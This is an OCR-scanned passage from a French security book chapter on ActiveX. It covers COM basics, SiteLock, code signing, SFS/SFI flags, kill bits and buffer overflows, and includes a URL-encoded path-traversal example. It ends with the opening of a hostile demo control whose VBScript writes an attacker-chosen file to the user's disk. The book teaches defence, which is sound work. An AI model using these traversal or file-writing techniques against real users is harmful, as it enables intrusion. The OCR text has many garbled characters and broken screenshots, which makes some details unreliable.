de moins en moins de clients lourds installes sur le systeme d'exploitation. Les applica- 
tions web reposent sur des controles ActiveX toujours dependants du systeme d'exploi- 
tation mais residant a present dans le navigateur lui-meme. L'utilisation d'un certain 
client dans une application web est de plus en plus repandue, car les applications ne 
veulent plus se contenter d'afficher du contenu statique. 

Un controle ActiveX est un objet COM (Component Object Model). COM sert non 
seulement aux communications interprocessus (IPC, InterProcess Communications) 
entre les applications et diverses parties du systeme d'exploitation, mais egalement aux 
communications au sein d'un processus. Le controle est done charge dans le processus. 
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Dans le cas des controles ActiveX, COM sert principalement aux communications 
intra-processus. II est utilise avec ActiveX car il apporte une interface commune 
pour les interactions avec des objets quelconques. Les objets ActiveX permettent 
au programmeur de realiser lui-meme I'enregistrement, d'ajouter des entrees dans 
le Registre et dans le systeme de fichiers, ainsi que de lancer une execution auto- 
matique. En bref, les objets COM permettent a des applications d'appeler les 
methodes et les interfaces d'une autre application, sans qu'elles connaissent les tenants et 
les aboutissants de cette application. Par exemple, COM permet d'incorporer en 
temps reel (sans passer par un copier-coUer) des donnees Excel dans un document 
Word. 

Contrairement a de nombreux elements telecharges par le navigateur, les controles 
ActiveX ont acces au systeme d' exploitation Windows. Puisqu'un controle ActiveX 
est un objet COM, I'utilisateur actuellement connecte peut effectuer des operations 
avec certains privileges, comme acceder au systeme de fichiers ou consulter des cles 
du Registre. Les possibilites d'acces au systeme d' exploitation sous-jacent donnent 
a ActiveX une puissance plus importante, mais augmentent egalement les risques 
lorsque cette technologic est utilisee sur 1' Internet. Par exemple, meme si Java offre 
un controle de securite eleve pour le navigateur d'un utilisateur, il n'est pas con9u 
pour "sortir" du navigateur et acceder au systeme d' exploitation. Java fonctionne de 
maniere isolee (dans un "sandbox"), car il execute souvent du code puissant qui ne 
doit pas etre accessible au systeme d' exploitation. Inversement, les controles Acti- 
veX ne disposent pas d'un environnement isole et sont en mesure d'acceder directe- 
ment au systeme d'exploitation. Les composants qui permettent un acces direct non 
controle au systeme d'exploitation constituent des cibles attirantes pour les 
assaillants. C'est pourquoi les controles ActiveX mal ecrits representent un 
probleme de securite pour de nombreuses entreprises. L' absence d' environnement 
isole fait que les defauts d'un controle ActiveX peuvent avoir des effets negatifs tres 
severes. Cependant, les controles non fiables developpes en Java ou .Net peuvent 
egalement avoir des consequences aussi desastreuses que les composants ActiveX. 
Apres qu'un utilisateur a installe un controle ActiveX sur sa machine, ce controle est 
disponible aux applications web, qui peuvent s'en servir pour des objectifs 
malveillants. La Figure 8.1 montre un exemple de controle ActiveX. 



Info 



Dans ce chapitre, I'icone d'attaque represente une attaque, un outil d'attaque ou une vulne- 
rabilite et faille qui peut mener a une attaque. 
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Figure 8. 1 

Contrdles ActiveX. 



Introduction a ActiveX 

Les controles ActiveX peuvent repondre a plusieurs objectifs, comme fournir des 
methodes simples pour le telechargement d'un programme et permettre a des applica- 
tions web d'acceder a des informations stockees sur le systeme d'exploitation local. lis 
sont souvent ecrits en C-i-i-, mais rien n'empeche de les implementer dans d'autres 
langages. Les objets ActiveX contiennent differentes methodes et proprietes. Voici une 
breve description de la terminologie ActiveX : 

■ Interface ActiveX. La definition des methodes et des proprietes disponibles. Les 
methodes peuvent etre invoquees. Les proprietes peuvent etre consultees et fixees. 
Une interface constitue generalement le regroupement de fonctions qui presentent 
une fonctionnalite connexe. 

■ Objet ActiveX. Le composant COM global. Un objet possede des interfaces, des 
methodes et des proprietes qui peuvent etre invoquees. Les objets ActiveX imple- 
mentent des interfaces. 
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■ Methode ActiveX. Une methode est un appel de fonction qui peut etre implementee 
ou non. Coirnne une fonction, elle comporte des parametres. 

■ Propriete ActiveX. Les proprietes ActiveX sont egalement implementees comme 
des appels de fonctions, au travers du mecanisme Get/Set. 

Les controles ActiveX peuvent etre surs, mais puisqu'il leur est possible d'acceder aux 
ressources du systeme d' exploitation et qu'ils peuvent etre ecrits dans des langages 
sujets aux attaques par depassement de tampon ou par chaine de format, ils peuvent 
constituer des trous de securite. 

ActiveX est la reponse de Microsoft aux applets Java. Cependant, tandis que les applets 
effectuent toutes leurs actions dans le navigateur, Microsoft va plus loin et permet aux 
controles ActiveX d'effectuer toutes leurs operations dans le navigateur et le systeme 
d' exploitation sous-jacent. Java revele les fonctions du systeme d'exploitation, comme 
ecrire ou lire dans des fichiers, au travers d'une enveloppe. Par rapport a ActiveX, Java 
a I'avantage d'utiliser un modele de securite demonstratif. Lorsqu'ils sont deployes, les 
controles ActiveX sont supposes apporter un benefice aux utilisateurs finaux. Par exem- 
ple, lors de la consultation d'une page web qui a besoin d'un composant ActiveX, un 
controle ActiveX peut etre invoque automatiquement par 1' application web. S'il en a 
I'autorisation, le navigateur peut installer le client Win32 sur le systeme d'exploitation 
de I'utilisateur et renvoyer les informations demandees, comme un identifiant et un mot 
de passe, a 1' application web. L'utilisateur ne voit pas les interactions, potentiellement 
tres complexes, entre le controle ActiveX et 1' application web. 

Voici les differentes etapes techniques sous-jacentes de cet exemple : 

1. Un site web invoque un controle ActiveX. 

2. Si le controle ActiveX n'est pas deja installe sur le systeme, l'utilisateur est alors 
invite a proceder a son installation. Comme pour toutes les installations, la modifi- 
cation de la configuration de la machine exige les droits d'administrateur. 

3. L'objet COM ActiveX est invoque par le navigateur de l'utilisateur, en demandant 
I'autorisation d'executer des instructions pour le controle. 

4. Si le systeme d'exploitation accorde des droits au controle ActiveX, qui sont gene- 
ralement determines par les parametres de securite definis dans le navigateur de 
l'utilisateur, le systeme execute les instructions indiquees dans le controle, comme 
installer des programmes, mettre a jour des cles du Registre ou acceder au systeme 
de fichiers, en recherchant des versions specifiques du produit. En general, I'instal- 
lation implique le telechargement d'une bibliotheque dynamique (DLL, Dynamic 
Link Library) et son inscription sous HKLM\Sof tware\Classes afin qu'elle puisse 
etre invoquee. 
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5. Lorsque le controle a termine, I'objet COM est enregistre sur le systeme d' exploita- 
tion de I'utilisateur et il pourra etre utilise lors des visites ulterieures. Par exemple, 
lorsque I'utilisateur visitera a nouveau la page web, le controle ActiveX verifiera 
si I'objet COM est deja installe et demandera ensuite au systeme de I'utilisateur 
les informations dont il a besoin, par exemple quelle version du logiciel XYZ est 
installee. 

Voici une liste des utilisations classiques des controles ActiveX dans les applications 
web : 

■ laisser les utilisateurs telecharger et installer automatiquement des programmes par 
un seul clic ; 

■ permettre a une application web d'executer un programme existant sur le systeme 
d' exploitation (comme un logiciel de gestion des reunions) ; 

■ permettre a une application web d'executer des scripts dans le navigateur ou le 
systeme de I'utilisateur ; 

■ automatiser du contenu dans 1' application web, comme un deplacement avec des 
objets. 

Voici les etapes de 1' installation d'un controle sur le systeme d'un utilisateur : 

1. Un utilisateur consulte une application web qui contient un controle ActiveX. 

2. L' application web fait reference a son identifiant de classe (CLSID, Class Identifier) 
et une URL et invite I'utilisateur a telecharger le controle. 

3. Si I'utilisateur accepte le telechargement et I'installation, celle-ci est effectuee. 

4. Une fois que I'installation est terminee, le controle ActiveX peut etre invoque sans 
autre demande d'autorisation ulterieure aupres de I'utilisateur. Notez que ce 
comportement peut etre parametre. Dans Internet Explorer 6, I'utilisateur est 
consulte pour les controles ActiveX rarement utilises. Dans IE7, les utilisateurs ont 
la possibilite d'indiquer precisement les objets qui peuvent s'executer en silence, 
ceux qui ne peuvent pas s'executer du tout et ceux qui peuvent s'executer en affichant 
un avertissement - cette fonctionnaUte est appelee ActiveX Opt-in. 

Pour voir un exemple d'objet ActiveX, allez sur la page labs.isecpartners.com/ 
HackingExposedWeb20/activex.cepted.htm. ActiveX. cepted est un controle Acti- 
veX qui tire profit d'lE. Dans cet exemple, le controle ActiveX est integre au systeme 
d'exploitation, mais les controles sont generalement installes par 1' application web. Le 
controle invoque I'identifiant de classe Shell.Explorer, qui ouvre un navigateur web a 
I'interieur du navigateur (un exemple d'action OLE). 
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Void le code du controle ActiveX . cepted : 

<HTIVIL> 
<HEAD> 

<TITLE>ActiveX.cepted</TITLE> 

</HEAD> 

<BODY> 

<H3><center>ActiveX. cepted<H3> 

<OBJECT ID="WebBrowser1 " WIDTH=300 HEIGHT=151 

CLASSID= " CLSID : 8856F961 -340A- 1 1 D0-A96B-00C04FD705A2 " > 
<PARAI\/1 NAME=" Location" VALUE="www.isecpartners.com"> 
</OBJECT> 

</BODY> 
</HTML> 

Vous remarquerez qu'un navigateur est affiche a I'interieur du navigateur web par 
rintermediaire du controle ActiveX. 

Failles d'ActiveX et contre-mesures 

Les mesures de securite d'ActiveX sont primordiales pour la securite et le respect de la 
vie privee d'un utilisateur. Lorsqu'un controle ActiveX est telecharge par un utilisateur 
final, les methodes du controle peuvent etre executees par toute autre application web 
consultee par cet utilisateur, y compris pour acceder au Registre et au systeme de 
fichiers (si la methode a ete ecrite en ce sens). L' identification unique de I'objet 
ActiveX est obtenue grace au CLISD, qui peut etre retrouve dans le Registre. 

Une attaque ActiveX simple implique un objet ActiveX non sur dans une application 
web et un assaillant qui souhaite exploiter cette faille. Par exemple, si un assaillant salt 
que le site eNapkin.com utilise un controle ActiveX non stir, il peut realiser les operations 
suivantes pour tirer profit de la faille : 

1. Ouvrir I'URL de la page qui contient le controle ActiveX vulnerable et le tele- 
charger. 

2. Rechercher les surfaces d' attaque et les failles de securite du controle. 

3. Creer un site web malveillant qui exploite la vulnerabilite du controle ActiveX. 

4. Convaincre la victime d'aller sur le site web malveillant, par exemple par un courrier 
electronique d'hame9onnage ou une publicite Google pour des iPod a 10 i. 

5. Apres que 1' utilisateur a visite la page legitime contenant le controle ActiveX vulne- 
rable installe, son systeme d' exploitation suivra les instructions fixees par 
r assaillant. 
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Meme si la technologic ActiveX est souvent employee de maniere non sure, rien 
n'interdit de concevoir des controles ActiveX securises. La section suivante decrit un 
ensemble de failles de securite classiques, puis presente des mesures de securite qui 
permettent d'y pallier. 

Automation de I'invocation des controles ActiveX par tout un cliacun 

Les controles ActiveX verifient ou indiquent rarement les serveurs et/ou les domaines 
qui sont autorises a les invoquer, comme *. isecpartners.com. Cette absence de restric- 
tion permet a n'importe quel assaillant de cibler et d'invoquer des controles existants 
sur le systeme d' exploitation d'un utilisateur et d'en tirer profit. Puisque le domaine 
n'est pas verifie ou restreint, le tapis rouge est deroule pour tout assaillant qui a envie 
d'exploiter les droits places par I'objet COM ActiveX. 

Microsoft propose la bibliotheque SiteLock que les developpeurs ActiveX peuvent 
employer pour limiter les acces aux controles ActiveX. Le developpeur peut 
verrouiller I'acces a des noms de domaines precis, a des zones de securite d'lE ou a 
SSL {Secure Sockets Layer). Par exemple, si une liste preetablie de domaines, comme 
*.isecpartners.com, est autorisee a invoquer un controle ActiveX, tous les serveurs 
du domaine isecpartners.com peuvent invoquer des objets COM sur le systeme de 
I'utilisateur. SiteLock garantit que des objets ActiveX ne sont pas presentes au grand 
public apres qu'un utilisateur les a telecharges et installes a I'aide de son navigateur 
web. 

Malheureusement, les attaques de type XSS et DNS {Domain Name System) parvien- 
nent a contourner cette verification. Si une faille XSS est presente sur une application 
web de *.isecpartners.com, un assaillant peut cibler les navigateurs d'un utilisateur en 
faisant rebondir I'attaque a partir d'un serveur web vulnerable dans le domaine isecpar- 
tners.com. Par consequent, en employant SiteLock, meme les domaines de confiance 
doivent etre securises contre les attaques classiques telles que XSS. Par ailleurs, Site- 
Lock se fonde sur des noms DNS alors que ce systeme n'a pas ete con9u pour offrir une 
securite forte. Une attaque reussie sur le DNS peut rendre SiteLock inoperant s'il 
n'utilise pas SSL. Par exemple, en obligeant SiteLock a employer HTTPS avec *.isec- 
partners.com, vous pouvez vous proteger contre les attaques sur le DNS. En revanche, 
si HTTP est utilise avec *.isecpartners.com, les attaques DNS sont possibles, meme en 
employant SiteLock. 

Modele SiteLocl< pour secu riser ActiveX 

Lorsque cela s'avere approprie, SiteLock doit etre employe sur tous les controles Acti- 
veX afin qu'ils soient limites aux domaines autorises indiques dans le fichier SiteLock. 
Microsoft a public un modele SiteLock qui aide les utilisateurs a installer SiteLock sur 
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leurs controles ActiveX. Ce modele est disponible a I'adresse http://www.micro- 
soft.coiii/downloads/details.aspx?FamilyID=43cd7ele-5719-45c0-88d9-ec9ea7fefbcb 
&displaylang=en. Le modele contient le fichier SiteLock.h, qui decrit pas a pas 
I'installation de SiteLock sur un controle ActiveX. La procedure suivante donne les 
etapes indispensables a I'installation sur un controle, mais vous devez consulter 
SiteLock. h pour les etapes techniques concernant la mise en place de cette protec- 
tion. 

1. Inclure le fichier d'en-tete SiteLock. h. 

2. Ajouter les interfaces suivantes : 

public lOb] ectSaf etySiteLocklmpl 
<Class , INTERFACESAFE_FOR ...>," 

3. Ajouter les elements suivants dans la section COM MAP : 

COM_INTERFACE_ENTRY ( lOb j ectSaf ety ) 
COM_INTERFACE_ENTRY(IObjectSafetySiteLock) 

4. Ajoutez la classe de controle suivante : 
static const SiteList rgslTrusteclSites[#] ; 

5. AllowType doit contenir les domaines approuves, en indiquant Allow, Deny ou 
Download. 

6. Le controle doit implementer lObj ectWithSite ou lOleObj ect. 

7. Effectuer I'edition de liens du controle avec urlmon . lib et wininet . lib. 

— ' Info 

Le fichier SiteLock.h fourni par Microsoft detaille la procedure a suivre pour une mise en 
oeuvre reelle. 



yVe pas signer les controles ActiveX 

Les controles ActiveX doivent etre signes car cela permet aux utilisateurs de savoir si 
les fichiers binaires installes sur leurs machines proviennent d'une source de confiance. 
En signant numeriquement le controle ActiveX, les utilisateurs peuvent verifier que 
celui-ci n'a pas ete modifie, manipule ou falsifie pendant son transfert ou depuis sa 
publication. Les controles ActiveX non signes n'offrent aucune garantie quant a leur 
origine et ne peuvent pas signaler leur falsification. Cela prend toute son importance 
lorsque des parties tierces hebergent ou placent du contenu sur un site qui ne provient 
pas la source originelle, comme une application web qui contient des publicites foumies 
par des tiers. 
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Signature des controles ActiveX 

Si une entreprise emploie un controle ActiveX pour telecharger et installer un logiciel, 
le controle doit installer uniquement les fichiers executables ou les fichiers cab qui ont 
ete signes a I'aide de la cle de signature de I'entreprise. La cle de signature de code de 
I'entreprise prouvera que le programme provient du site web legitime, non d'un 
assaillant. Par exemple, si eNapkin.com utilise un controle ActiveX pour installer 
un logiciel, mais que le logiciel n'a pas ete signe, le controle doit refuser 1' installation. 
De plus, si le fichier executable ou le fichier cab provient de eNapkin.com, mais s'il a 
ete signe par ePaperTowel.com a la place d'eNakin.com, le controle doit egalement 
refuser I'installation. 

La methode permettant de signer des binaires est relativement simple. Les cles de 
signature peuvent etre achetees aupres de VeriSign (et d'autres). L'outil SignTool.exe 
de Microsoft peut servir a signer les fichiers binaires. La procedure suivante montre 
comment signer un executable qui sera telecharge et installe automatiquement par 
un controle ActiveX. Pour signer un binaire, le fichier Digital ID (generalement 
nomme MyCredentials . spc) et le fichier de la cle privee (MyPrivateKey . pvk) sont 
indispensables. lis sont fournis apres votre achat d'une cle de signature aupres de 
Verisign. 

1. Telechargez le kit de developpement de logiciels (SDK) a partir de I'adresse http:// 
www.microsoft.coin/downloads/detaiIs.aspx?FamilyId=0BAF2B35-C656-4969- 
ACE8-E4C0C0716ADB&displaylang=en. 

2. Lorsque I'installation est terminee, choisissez Demarrer > Executer. Saisissez cmd 
et cliquez sur OK. 

3. A I'invite, allez dans le repertoire C:\Prograni Files\Microsof t Platform 
SDK\Bin. 

4. Saisissez signtool signwizard. Un assistant apparait alors. Cliquez sur Suivant. 

5. Recherchez le fichier que vous souhaitez signer numeriquement, puis cliquez sur 
Suivant. 

6. Choisissez Personnalise, puis cliquez sur Suivant. 

7. Cliquez sur A partir d'un fichier et localisez votre fichier MyCredentials . spc. 
Cliquez sur Suivant. 

8. Cliquez sur A partir d'un fichier et localisez votre fichier MyPrivateKey . pvk. 
Cliquez sur Suivant. 
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9. Selectionnez shal et cliquez deux fois sur Suivant. 

10. Saisissez une description pour votre fichier et une adresse de site web oil de plus 
amples informations seront disponibles. Cliquez sur Suivant. 

11. Selectionnez Ajouter un cachet de date aux donnees et, dans URL de service de 
cachet de date, saisissez http://tiniestamp.verisign.com/scripts/ 
timstamp . dll. (Notez que timstamp . dll s'ecrit sans la lettre e dans time.) Cliquez 
sur Suivant. 

12. Verifiez que toutes les informations sont correctes, puis cliquez sur Terminer. 
Vous venez de signer votre fichier. 

Marquage des controles ActiveX comme SFS 

Lorsqu'un controle est marque comme securise pour I'ecriture de scripts (SFS, Safe For 
Scripting) avec la methode lObj ectSaf ety, un developpeur revolt en quelque sorte 
I'assurance qu'il peut employer les methodes et les proprietes de I'objet COM dans ses 
propres scripts VBScript ou JavaScript places dans des pages web. Cet indicateur etablit 
que toutes les methodes invoquees par cet objet COM ne provoqueront aucun dommage 
au systeme ou ne remettront pas en cause sa securite. Mais, si un objet COM ActiveX 
marque SFS est utilise avec Microsoft Word, un script tiers malveillant peut etre execute 
a distance sur I'objet afin de supprimer des fichiers sur le systeme d' exploitation de I'utili- 
sateur. 

Lorsqu'un controle n'est pas marque SFS, les scripts tiers ne peuvent pas acceder a ce 
controle. Cependant, la plupart des controles doivent etre marques SFS pour fonctionner 
correctement. 

L'indicateur SFS apporte une garantie de securite importante sur I'objet ActiveX car il 
permet a des utilisateurs tiers de creer des scripts qui invoquent I'objet. Meme si les 
garanties de securite sont ideales, elles sont complexes a obtenir et a maintenir. Une 
meilleure methode consiste a retirer par defaut tous les indicateurs SFS dans un objet 
ActiveX, a moins qu'il ne soit destine a une utilisation sur le Web et que sa securite ait 
ete rigoureusement testee. 

Marquage des controles ActiveX comme SFI 

De maniere similaire aux scripts, lorsqu'un controle est marque comme securise 
pour I'initialisation (SFI, Safe For Initialization) avec la methode lObj ectSaf ety, il 
peut etre invoque par des applications tierces. Cela signifie que les parametres asso- 
cies a I'invocation de la balise Obj ect ne peuvent pas etre utilises de maniere impro- 
pre. A nouveau, meme si les garanties de securite sont ideales, elles sont complexes 
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a obtenir et a maintenir. Une meilleure approche consiste a retirer par defaut tous les 
indicateurs SFI dans un objet ActiveX, a moins qu'il n'ait ete rigoureusement 
evalue. 

yVe pas marquer les scripts comme SFS et SFI 

Pour garantir que des objets ActiveX ne sont pas manipules ou initialises par des 
scripts a distance, la solution la plus simple consiste a ne pas les marquer SFS et SFI. 
Vous devez retirer ces indicateurs si le controle n'en a pas besoin. Un modele 
d'analyse et d'evaluation d'une mauvaise utilisation de la fonctionnalite, ainsi que 
des tests cibles, doivent etre realises avant de publier un controle estampille SFS/SFI. 
Si vous creez un objet ActiveX, vous pouvez assurer qu'il n'est pas marque, mais des 
centaines d'objets publics le sont probablement deja et nombre d'entre eux sont 
certainement installes sur votre systeme. Pour garantir qu'aucun objet ActiveX n'est 
marque avec ces options dangereuses, vous pouvez retirer manuellement ces champs 
en recherchant {7DD95801 -9882-1 1CF-9FA9-00AA006C42C4 J et {7DD95802- 
9882-1 1CF-9FA9-00AA006C42C4} dans le Registre. {7DD95801 -9882-1 1CF-9FA9- 
00AA006C42C4j indique qu'un controle ActiveX est securise pour I'ecriture de 
scripts, tandis que (7DD95802-9882-1 1CF-9FA9-00AA006C42C4J signale qu'il est 
securise pour I'initialisation. Pour retirer ces autorisations, les cles doivent etre 
supprimees sous I'identifiant de classe (CLSID) correspondant dans le Registre. Voici 
un exemple d' entree du Registre qui correspond a un controle ActiveX marque 
comme SFS : 

[HKEY_CLASSES_ROOT\CLSID{C/.SID du controle /Acti veX)\Implemented 
Categories{7DD95801 -9882-1 1 CF-9FA9-00AA006C42C4} ] 

Et voici un exemple pour SFI : 

[HKEY_CLASSES_ROOT\CLSID{CLSID du controle Acti i/eX)\Iniplemented 
Categories{7DD95802-9882-11CF-9FA9-00AA006C42C4}] 

En supprimant ces champs, le controle ActiveX ne fera plus partie de ceux qui sont 
securises pour I'ecriture de scripts ou pour I'initialisation. Les etapes suivantes permettent 
de retirer le marquage SFS/SFI d'un objet ActiveX : 

1. Ouvrez I'Editeur du Registre en choisissant Demurrer > Executer > regedit. 

2. Recherchez sous HKEY_CLASSES_ ROOT le CLSID qui correspond a I'objet 
ActiveX : KEY_CLASSES_ROOT\CLSID{<CLSID de I'objet ActiveX>}. 

3. Developpez la cle CLSID et la cle Implemented Categories, comme I'illustre la 
Figure 8.2. 
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■ Editeur du Regisl" 



Fichier Edition AFfichage Favoris 



B £a I41B^:':28-483E-4E5C-ACE2-BB0BBABE99E3} 
' C3 'lontrol 
' H"lS Implemented Categories 

{7DD95602-9832-1 1CF-9FA9-OOAA006C42C4> 
C3 InFrocServer32 
[+1 U MiscStatus 
U ProgID 
LJ ToolboxBitrnap32 
U TvpeLib 
l_| Version 

1-^ versionlndependentProgID 
a Q 41E B6B-9399-11D2-9623-00C04FSEE62S} 
Q Q 41E-1EE05-B3AF-460C-BFOB-2CDD44A093B11- 
a Q 41[_E341-7692-4CS3-AFD3-F60E845341AF} 
Q Q 41CFM779-3632-4790-B40F-C44CFCF55CB6} 
Q Q 41EMf-OD5-7373-4B37-86FF-F55B133FC360} 
Q Q 41E CiEO-7SB6-llce-849B-444553540000|- 
S Cl 41E-I E90-DABO-4SA3-AD4C-D9A656E466861- 
H Q 4^ I4_206-2DS5-11D3-8CFF-005004S38597} 
E C3 4 i44394-8c34-lldl-83bc-D0i:04fbbi:34e} 
1+1 LD H207171Z-76d4-lldl-8bZ4-00a0i:9068fF3l- 
l+l I ~\ ^47^71713-7ftd4-11d1-8h?4-^na^^Snft8fF3^ 
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Nom 

^(par deFaut) 



Figure 8.2 

Contrdle ActiveX marque comme securise pour I'ecriture de scripts et I' initialisation. 



4. Si vous voyez {7DD95801-9882-11CF-9FA9-00AA006C42C4} et/ou {7DD95802- 
9882-1 1CF-9FA9-00AA006C42C4}, supprimez les cles correspondantes. Selectionnez 
une cle et choisissez Edition > Supprimer. 

Vous avez demarque Tobjet ActiveX. 



Note 



Le controle ActiveX n'utilise pas necessairement le Registre pour indiquer qu'il est securise 
pour I'ecriture de scripts ou pour rinitialisation. Ce marquage peut se faire a I'aide de I'interface 
lOb] ectSaf ety. Si le controle ActiveX emploie cette interface, le navigateur web inter- 
rogera le controle au lieu d'utiliser les cles du registre. 



Effectuer des actions dangereuses avec des controles ActiveX 

Les controles ActiveX sont faits pour aider les utilisateurs a installer un logiciel ou inte- 
ragir avec des applications web, mais ils realisent frequemment des actions qui ne sont 
pas sures. Lors du deploiement de controles ActiveX, les actions dangereuses doivent 
toujours etre evitees, en particulier les activites qui permettent a distance de modifier 
des cles du Registre, de supprimer des fichiers, de modifier des mots de passe et 
d'executer des fichiers. En general, les controles ActiveX ne doivent pas servir aux 
operations suivantes : 

■ lire, modifier ou supprimer des fichiers ou des cles du Registre sur I'ordinateur 
local ; 
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■ lire, modifier ou supprimer des fichiers ou des cles du Registre sur le reseau de 
I'ordinateur local ; 

■ transferer des informations privees, comme des cles privees, des mots de passe ou 
des documents ; 

■ executer des fichiers ; 

■ fermer les applications botes ; 

■ utiliser de maniere excessive des ressources ; 

■ installer ou desinstaller des logiciels ; 

■ invoquer des objets, par exemple, la metbode CreateOb j ect. 
Empecher les controles ActiveX dans IE 

Avec tous les problemes de securite qui entourent ActiveX et la complexite neces- 
saire a sa securisation, vous pourriez vouloir faire en sorte que les controles ActiveX 
ne soient jamais executes sur le systeme d'un utilisateur. Pour garantir qu'un objet 
ActiveX n'est pas execute dans IE, la metbode la plus simple consiste a fixer un bit 
d'arret (kill bit) sur son CLSID. Le bit d'arret sur le CLSID de 1' ActiveX garantit 
que le controle ne sera pas invoque par IE. Cependant, si d'autres parametres contre- 
disent le bit d'arret, comme des controles SFS ou SFI, et ne sont pas marques 
comme surs, le bit d'arret n'est pas utilise. 

La procedure suivante configure un controle ActiveX avec un bit d'arret afin qu'il ne 
soit pas invoque par IE : 

1. Ouvrez I'Editeur du Registre en cboisissant Demurrer > Executer > Regedit. 

2. Recbercbez le CLSID qui correspond a I'objet ActiveX : HKEY_LOCAL 
_MACHINE\SOFTWARE\Microsoft\Intemet ExploreM^ctiveX Compatibility <CLS1D 
de I'objet ActiveX>. 

3. Developpez la cle CLSID qui doit contenir une valeur DWORD nommee Compati- 
bility Flags, comme I'illustre la Figure 8.3. 

4. Pour fixer le bit d'arret, double-cliquez sur Compatibility Flag et modifiez la valeur 
des donnees a 400 (0x00000400). 

Vous venez de fixer le bit d'arret sur I'objet ActiveX. 
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■ Editeur du Regisl" 



Fichier Edition AFhichaae 



Ql 

-Si 

-J 

Cl 
£1 

a 

n 



1 hi 152-FAF9-1 1D3-B0D3-0OCO4F612FF1 ^ 
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Md2SdO-8bH-llce-be59-OOaa0051fe201- 
;B477-5382-4A09-SCA3-E63B1158A37; 
' 1805D-C5AE-4455-AB39-E245BB51613S 



■{8856F961-340A-11DO-A96B-OOC04FD705A; 



r€7BFO-C867-llCF-BlAE-0OAAO0A3F2C 
^033C-4A50-llDl-9SA4-OOAOC90F27Ci 
E^17746-717D-llCE-AB5B-D41203Cim0C 
E^l7752-717D-llCE-AB5B-D41203Cim0C 
E 1775E-717D-1 1CE-AB5B-D412D3C100DC 
E B8135-9DAA-40E7-8941-962795F9C1CE 

Fr ^inEn-Fr4?-i irF-9Fnr)-nnAAnnhnn?F: 



Norn 

® (par deFaut) 
^Compatibility Flai 



REG_5Z (valeur non definie) 

PEG_DWORD I]xl]00l]m21 (33) 



Posts de travail\HKEV_LOCAL_MACHINE\SOFTWARE\MicrosoFt\Internet Explorer\ActiveX ConipatibilitvU3856F961-340A-llD0-A%B-00C04FD 



Figure 8.3 

La valeur Compatibility Flag d'un contrdle ActiveX. 



Depassements de tampons dans des objets ActiveX 

Les depassements de tampons sont monnaie courante en ActiveX, principalement 
parce que le controle ne verifie et ne valide pas les entrees avant de les accepter. Ces 
problemes surviennent essentiellement lorsque les objets sont implementes en C ou en 
C4-4-. Sans entrer dans le detail du depassement de tampons, lorsqu'un controle place 
r entree dans un tampon dont la taille allouee est inferieure a celle de 1' entree, un 
assaillant peut executer un code quelconque sur la machine de I'utilisateur. Cette action 
conduit generalement au dysfonctionnement du systeme, mais, dans certains cas, elle 
donne a 1' assaillant un acces au systeme. II est important de valider les entrees fournies 
aux objets ActiveX avant de les placer dans un tampon de longueur fixe. 

Ecriture de code sur 

Pour empecher les depassements de tampons en ActiveX, il faut ecrire du code sur et 
utiliser des bibliotheques fiables. Pour de plus amples informations, consultez 
I'ouvrage Writing Secure Code de Michael Howard et David C. LeBlanc, qui traite des 
pratiques de programmation securisee. 

Permettre la subversion de SFS/SFI 

II est possible de faire executer du code a IE avant qu'il ne verifie si un script est marque 
SFS ou SFI. IE verifie les indicateurs SFS/SFI en invoquant CoCreate sur le CLSID, en 
appelant lObj ectSaf ety et en recuperant les parametres du controle qui concement les 



Chapitre 8 



Securite d'ActiveX 229 



indicateurs SFS/SFI. CoCreatelnstance appelle la fonction exportee DllGetClassObj ect 
sur le controle. Parfois, les developpeurs placent du code d'initialisation dans cette 
fonction centrale. II sera execute avant la verification de I'indicateur SFS. Si le code est 
ajoute a I'avance, il peut etre execute par IE avant meme que celui-ci sache si I'utilisa- 
tion du controle est sure. En general, les developpeurs COM, meme s'ils ne program- 
ment pas pour le Web, doivent s'assurer qu'ils ne permettent pas ce comportement 
dangereux. 

Chemins URLRoot restrictifs 

Si un controle ActiveX telecharge un fichier, ce qui n'est pas la norme, il examine les 
parametres fournis par la page web afin de determiner I'endroit a partir duquel il va 
telecharger des fichiers. Pour etre certain que seuls les emplacements approuves et 
autorises seront utilises, des restrictions doivent etre placees sur le chemin URLRoot du 
controle. Avant qu'un objet ActiveX ne telecharge un fichier, le controle peut verifier 
lui-meme si la racine d'URL est acceptee. Dans le cas contraire, il signale une erreur et 
arrete I'operation. Un controle ActiveX doit exiger que les chemins URLRoot se trouvent 
dans le domaine approuve et un chemin particulier, comme /approuve. 

II ne suffit pas de fournir un chemin URLRoot, car un assaillant peut contourner ces 
controles. De maniere similaire aux attaques sur les repertoires avec les anciens 
serveurs IIS 3.0/4.0/5.0, un chemin URLRoot peut potentiellement etre subverti par 
. . ou son equivalent Unicode (%2e%2e). Si /approuve est le chemin URLRoot 
indique, un assaillant peut preciser /approuve/%2e%2e/cheminAssaillant/ afin de 
quitter le chemin URLRoot approuve et amener I'utilisateur a telecharger un fichier 
choisi par I'assaillant. Pour se defendre contre cette attaque sur URLRoot, tous les 
chemins doivent etre debarrasses des guillemets, normalises et valides avant le tele- 
chargement. 

I m poser HTTPS pour les controles ActiveX 

Si un controle ActiveX telecharge un fichier, il doit etre deploye en utilisant uniquement 
HTTPS. D' autre part, toutes les operations HTTP doivent etre redirigees vers HTTPS. 
Si des URL ActiveX sont redirigees vers une autre URL, il faut repeter la verification de 
chemin et de SSL sur la nouvelle URL avant que le controle ne soit autorise a recuperer 
des fichiers. Des certificats forts peuvent egalement etre imposes pour HTTPS et les 
certificats non correspondants doivent etre rejetes. 

Attaques ActiveX 

Pour illustrer le detoumement d'un controle ActiveX, nous devons commencer par 
prendre un controle non sur. ActiveX.stream est un controle ActiveX hostile que nous 
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avons developpe a des fins de test. II exploite un controle integre (CLSID : 8856F961- 
340A-11D0-A96B- 00C04FD705A2) deja installe sur Windows. Le controle effectue 
les actions suivantes : 

■ II utilise un script Visual Basic pour acceder au systeme de fichiers local de I'utilisateur 
et creer un fichier choisi par I'assaillant. 

■ II invoque I'identifiant de classe Shell . Explorer, qui ouvre un navigateur web dans 
un controle de I'assaillant. 

Voici le code d'utilisation d' ActiveX. stream : 

<HTML> 
<HEAD> 

<TITLE>ActiveX.stream</TITLE> 

</HEAD> 

<BODY> 

<H3><center>ActiveX. stream<H3> 

<SCRIPT language="VBScript"> 

Dim objFile, strBadFile, strFilePath 

strFilePath - "c:\HackingXposed20.txt" 

Set objFile = CreateObiect( "Scripting. FileSystemObject" ) 

Set StrBadFile = obiFile.CreateTextFile(strFilePath, True) 

StrBadFile .WriteLine ( "Tastes Like Burning") 

StrBadFile. Close 

